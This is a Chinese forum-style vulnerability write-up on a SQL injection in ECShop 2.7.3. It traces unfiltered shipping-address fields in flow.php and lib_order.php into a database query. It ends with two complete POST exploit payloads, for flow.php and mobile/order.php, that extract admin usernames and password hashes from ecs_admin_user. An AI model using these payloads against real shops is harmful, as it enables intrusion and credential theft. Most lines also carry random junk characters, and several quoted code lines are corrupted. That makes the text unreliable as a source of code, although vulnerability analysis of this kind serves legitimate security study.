前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。$ I# h: H1 S3 P# {: m
& U$ \& O" q! a: f* Z8 W$ k 漏洞关键文件:
& ^" ] n6 X8 \, x, m2 t! ]3 I8 z6 U1 e3 i
/includes/lib_order.php; }2 @7 E D: z4 m4 _1 k
/ c5 j) y+ A! r) ?% e7 P0 w 关键函数:. R% a c9 F0 \! y
( i* S4 F. u' T5 b% [7 x" E
% Y- V( K: q2 c4 o9 q0 X* U
( ~' J7 A( U: v: C/ H$ y0 M01 function available_shipping_list($region_id_list) + q9 {; Q) n7 G1 W% w5 L
9 G1 y9 z) o( r! @5 Z* J3 R0 u02 { ! B& S. D- f3 o- W/ B
1 y. ?9 f2 \; q+ R5 z03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ! u7 ^1 B( }+ x$ o( t
- b3 F& O* |2 X! P
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ) t/ _( C* @1 ^7 r
3 x# V3 c( O- `3 N05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ( E" J+ i+ k J1 H2 ^
- f. a z0 V( }' u0 X4 [; Y06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 3 ]3 M M; d0 _, F, y
9 G' t i& X: Y! h0 }6 Z
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. " K; {4 P/ h' k/ `/ _& ?
& F) p. v, w& \0 B& r4 o
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 7 P" l" y Z: p7 l8 N% j
, D, _* a: [' X* P" p! t. F* k
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ b1 u2 E6 d4 N& q3 `7 u( d: u2 Q, v" W% S* O0 G' h
10 : @1 E/ t8 }+ O1 C) y* v: O8 y
5 g/ m9 r5 X& }) b1 Q$ f
11 return $GLOBALS['db']->getAll($sql);
' O- u7 W( V$ u" m( a: n
7 C j; a6 X( O' m) ~12 } 9 U% z9 E+ F/ ]
2 L6 l! h' L* | W! J6 I8 a显然对传入的参数没有任何过滤就带入了查询语句。
$ c( k, X1 `! u$ ? % p+ [* @; |0 C6 h; g
下面我们追踪这个函数在flow.php中:6 \' L G+ g: K+ ?) |
第531行:
9 f% H8 d: g% t$ p
- ?$ V* I7 T/ T: `+ o; E t1 Q1 $shipping_list = available_shipping_list($region);
# X Y9 _" B7 u0 p+ i9 {% s7 }! a7 }$ X% W
6 ^# E2 j1 U; }1 F' v) e" E9 ?) W) S7 w/ `
7 {* [+ P+ \1 G) s
+ X9 Z6 `% q0 B! F
再对传入变量进行追踪:& C7 Y6 a( ]( i( b) ?! b6 \
' I" J$ T h5 }2 h! O3 t8 ]5 H" ^第530行: 7 v# C9 b+ A! @( z/ N6 n# ^* K0 l
' D6 S' i, Q2 x. @( o
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 2 ^6 d/ J- m$ Z. K
6 m# |4 J$ ]9 ^
% B& f f% G4 z' X" p; {7 b' S$ D. v/ Q
2 _ q. |9 P9 B* B
% n0 z$ y, w5 g- T# ~$ b$ D: G" e
第473行:
3 D, y( N, ~; L$ j5 H
% a& [; F7 z" r5 u1 $consignee = get_consignee($_SESSION['user_id']); * |" Z/ b8 t" s0 x
4 F2 Z$ x3 F4 l3 a' F
到了一个关键函数:# j* [! x$ Z/ @9 f2 H' S( O
. P; F; I: {! E, O a/includes/lib_order.php7 L0 x5 A; S8 a# ]5 M
9 M, E' C8 l) m0 t3 B4 h: R
9 Q" p& @" S; p* v9 G) i# X% a$ K; i, e0 t, r: S' h
5 T9 j- o4 R! d
8 w7 a( q2 c6 ]) }& M
01 function get_consignee($user_id) " M7 `. b+ k% o
5 a" x7 @0 _ x$ H& ?6 I02 {
. p: ?" p1 u9 U# X8 }+ j2 S
5 ], f- P. t' }$ Q/ d8 X03 if (isset($_SESSION['flow_consignee']))
W& j* h" ^! U$ t, a. c- N5 w9 h0 |( Y+ b
04 {
) m/ C) I5 t, R7 h% V5 z% R& i9 o/ [4 Y: h% q
05 /* 如果存在session,则直接返回session中的收货人信息 */ 2 E- w0 ` w# K; z4 C1 S4 O0 ~, Y
8 Y7 q; F. j# c8 E6 E3 v8 k
06 + \ a2 T4 r- l/ @8 W, z; t. ^
( r9 @3 I: D) x9 R: P) u4 X7 C
07 return $_SESSION['flow_consignee']; " s; R {$ _ I5 s
) S6 L. J/ u& |8 P0 p; o
08 } 6 J. s1 n* }! Q# _# b5 A. C
8 O# Z( T H% @! C9 P09 else
m2 {# q# T9 D/ V- m" M: y' T9 d( w& B; J
10 {
% n1 m5 i; d& u! J, E6 \+ U8 k1 {1 K+ H) l. ^
11 /* 如果不存在,则取得用户的默认收货人信息 */
m: ~; ~: x) d0 \3 b$ ^
' t5 P$ R4 A2 G( A: D! `12 $arr = array(); 5 ]0 O5 P' @4 V' s4 ?
2 K2 W; g+ E) w4 A5 t8 J' J
13
5 b l" A& b# `" |2 [$ r5 Y! X* @' a4 z9 H$ y
14 if ($user_id > 0) 2 N/ [! H. s- |) E5 Z
6 V4 z$ ?3 V4 ~- g6 R. m3 F" J15 { 3 B! X! C- z$ L; l% N' K; P
6 }1 n: M9 {1 _% `16 /* 取默认地址 */ 5 I! k7 ]& p7 H
& {: F# m/ Q% q/ e/ y8 d, V* J7 w3 J17 $sql = "SELECT ua.*".
6 b* K- Z. W# e4 c( {9 j/ U Q8 l# z: [
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
& O2 t4 R* q1 w; x+ B% S/ w: H/ a0 z& J0 c/ ^ U9 a
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
C( b1 u$ C; G4 s7 R. m$ `
, @, {4 b, f+ z20
4 w! C+ N. q( I, d b- h- p2 c% q" m9 Z! h' S
21 $arr = $GLOBALS['db']->getRow($sql); 1 {$ @& _ _" t$ ]) ?
, L7 Z8 y I, m% I! g22 } 9 r* S8 P8 g1 @- p* P% p' u; u8 u
+ M: `4 F4 s6 K" `; Z$ W1 p
23 ' e% t4 \) k0 ^# H7 ~5 T
- Z' H/ M1 O2 b
24 return $arr; * Y3 P9 h3 E+ w3 v+ I# Z% Z
' r! y/ B. F/ E9 s# d$ S9 B
25 }
! k$ b4 z8 g+ J5 {2 D2 U @( {& H2 u' @9 r
26 } ; u$ h& U7 A& }% Y" c
/ R A. U, J# {* A/ }, Z
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?" S+ _1 e. i( h' D. Z( H2 h
9 G! ?/ k# M( S% h3 X" v' i i# Y9 u |( j% G0 G2 R4 S1 [; Z! x
( f7 p/ a- l, x* Q8 d/ F6 w4 G关键点:0 u$ Y F, A2 s$ d) w* U2 Z# S
# S9 z4 l" y; T. v c
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
: s) x' E0 h: l* |/ C: }, D% N. c- I- R @3 j+ w
这里对传入参数反转义存入$_SESSION中。
- {4 G$ e: p. u) H9 b0 b
* ~6 t% d0 [' I( w( [1 Z
4 s* i2 T% l, Y0 M% \ s
L4 l, D# z3 S6 g3 G1 |$ j然后看下:
0 \/ N7 e( r8 k8 D% L3 g* T$ D4 q) e
9 @8 \9 r0 P w. `+ W( ^' k
& X8 J1 k4 R2 b% `
4 i P' z4 b! |# d1 M6 N% V# V3 X
01 $consignee = array( 8 k; Q9 f& I3 y g1 Z4 m+ L
! d+ ?$ L9 @; {
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
3 C& y% l- k: R M/ d+ A, e6 |. K( Z$ H: q7 c( K5 W
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), # c/ X7 u: w o3 w
3 d ]+ }/ N! a y% e% ]04 'country' => empty($_POST['country']) ? '' _POST['country'],
5 i! L1 B0 J) p P; t1 B& e2 U# v/ L
05 'province' => empty($_POST['province']) ? '' _POST['province'], % X8 j) J3 Z, S
4 `3 E b2 D8 h: b& ^ L. G1 x8 P5 U06 'city' => empty($_POST['city']) ? '' _POST['city'],
( U7 D' e% U0 Z; U& O
8 r x9 ~ H6 R$ x07 'district' => empty($_POST['district']) ? '' _POST['district'],
) n" r$ _: u4 T% Z5 Q7 n: g' W
+ g: S& b4 e/ a7 x) c08 'email' => empty($_POST['email']) ? '' _POST['email'],
/ h, O7 L/ s. j' _5 k3 z' n0 B' l7 w5 D! m% s' R o! N
09 'address' => empty($_POST['address']) ? '' _POST['address'], " I" R: v$ f8 Q, N, B' U% Z
3 r6 ^- Z( Z1 M U+ S1 ~
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 3 M1 i1 A0 c9 h* s. c8 a4 H
. J7 n: ^; v: f+ g) C" R
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
d! E+ a, l. C, C/ J
! t8 ^1 j% s/ Y12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
+ V3 ~1 V) f6 r
* U' X( @& X6 S, w' a13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
& N! R$ y6 N% d9 G$ _9 ?+ O: ], |
6 V# J, ~. a) U& T. p; S: N( r) b14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
+ B- \# f t' x6 g/ x9 {% I7 n v0 x, h: f# W- C- L
15 );
( ` P% i4 E3 `; i: S' D2 G4 O+ [6 Z" ]0 k7 R
好了注入就这样出现了。1 k7 ]: f; K0 T' S; s' R
1 \7 J" A: `: e
================== k; r! x7 U; p( M3 J: f
7 U8 B9 ^7 \! }4 E# l( P8 S- j
注入测试:
4 R V3 q3 e# X$ a6 m X( H& g: m0 Y
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ }! V; H) z. ?! L# i; `; [. a
; G( I- }: m% X- H; z) g8 C测试程序:ECShop_V2.7.3_UTF8_release1106
8 [% m3 E; F* ]9 R! A. ]# f* B2 ~, S: l+ Z1 [- y. Y7 V
! k3 a, ~$ B, r! i! b' x7 _; ?
# \& N3 |2 [$ Z: s% @$ c6 @
1.首先需要点击一个商品加入购物车: W) u* ^ c8 F1 g5 M- [
Y& t( J1 h7 i% n+ D5 G8 l _
2.注册一个会员帐号1 }( ~& H% o1 Z y0 A8 `3 @
, v6 t2 d0 I- q7 E/ I3.post提交数据
1 [5 y$ _3 N! o- w& j e& |- x! K5 n. J& K' f
7 f* `& ^3 t8 f* p; j0 Q0 c
+ D$ k* q( O: \2 k% i$ A( S1 http://127.0.0.1/ecshop/flow.php
$ x" ]' Z) [: P
7 l2 K0 r- q( H: L% s2 / [' K9 G& ^$ g* j0 O
3 j: m& ^& g; v) ?- H1 V7 o3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 0 H+ ]( Q7 e9 T: \
举一反三,我们根据这个漏洞我们可以继续深入挖掘:1 c# \6 x! z) ?1 \$ J+ p r1 l& g) h
1 @1 I1 b# M8 Q/ _! x我们搜寻关键函数function available_shipping_list()
$ ?5 T! D; r/ T+ _' n. I; R
7 N( U8 Z# z0 {- B9 N在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
, \: F+ X x, @: o: W8 S
, ~0 e$ l8 V" j利用exp:
6 }, W0 d) J1 |& y( A5 k) y) B# ^7 l% Q) K4 I& ~! ~
1.点击一个商品,点击购买商标* i+ a+ X; c6 w" F: h% z: X
/ n# M9 l+ e% K; E7 U6 `
2.登录会员帐号
3 x" G X& X. ?8 Q; W0 F: G- ^0 R
; D3 \: A+ z5 A! d! N$ b3.post提交:2 w+ O, N; R8 d7 p7 r1 w5 O' m
6 [$ q; q+ v" G% n8 {# ? A
http://127.0.0.1/ecshop/mobile/order.php
; X. j" u. Z( s5 f; Z: A# x& \8 F3 S
" u9 }% l: i7 F% a4 B$ w 8 G. G! R, Z5 _9 ~3 Z. q( D( W. s' E
5 l0 ]5 Y+ I: l+ R1 Q4 F, b5 Wcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& M8 m, J/ \3 [! g; _4 G5 ^/ D. J" J2 p5 P1 ~/ J
|